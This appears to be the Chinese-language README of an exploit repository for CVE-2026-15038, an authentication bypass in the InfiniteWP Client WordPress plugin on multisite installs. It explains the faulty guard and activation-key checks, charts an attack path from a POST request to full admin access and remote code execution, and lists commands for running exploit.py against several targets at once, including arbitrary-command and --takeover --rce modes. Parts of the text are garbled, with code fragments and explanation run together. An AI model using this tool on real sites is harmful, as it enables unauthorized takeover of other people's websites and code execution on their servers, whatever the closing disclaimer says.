WordPress 多站点中未经身份验证的管理员账户接管
WordPress 的 InfiniteWP Client 插件(< 1.13.6)存在一个影响 多站点安装 的严重身份验证绕过漏洞。
未经过身份验证的攻击者可以:
if (!$iwp_mmb_core->get_option('iwp_client_action_message_id')
&& !$iwp_mmb_core->get_option('iwp_client_public_key'))
get_site_option() → 从网络级(wp_sitemeta)读取update_blog_option() → 写入每个博客(wp_X_options)💥 结果:在多站点环境下,该防护检查始终返回 false — 始终允许重新配对。
if(trim($activation_key) != get_option('iwp_client_activate_key')){
get_option() 返回 falseactivation_key → trim(null) → '''' != false → false → 检查通过 🎯openssl_verify() 通过graph LR
A[Send POST Request] --> B[Add Site Action]
B --> C[Guard Bypassed]
C --> D[Activation Key Check Fails]
D --> E[Signature Verifies]
E --> F[Attacker Key Bound]
F --> G[Full Admin Access]
G --> H[RCE Achieved]
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-15038.git
cd CVE-2026-15038
# Install dependencies
pip install -r requirements.txt
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target1.com -t https://target2.com -t https://target3.com
python3 exploit.py -t https://wordpress.ddev.site --command "wp plugin install hello-dolly --activate"
python3 exploit.py -t https://wordpress.ddev.site --takeover --rce
| 文件 | 描述 |
|---|---|
exploit.py | 🐍 主漏洞利用脚本,支持批量利用 |
requirements.txt | 📦 Python 依赖项 |
README.md | 📖 本文档 |
add_site 请求此工具仅用于 教育和安全测试目的。请仅在您拥有或已获得明确测试授权的系统上使用。作者对滥用行为不承担任何责任。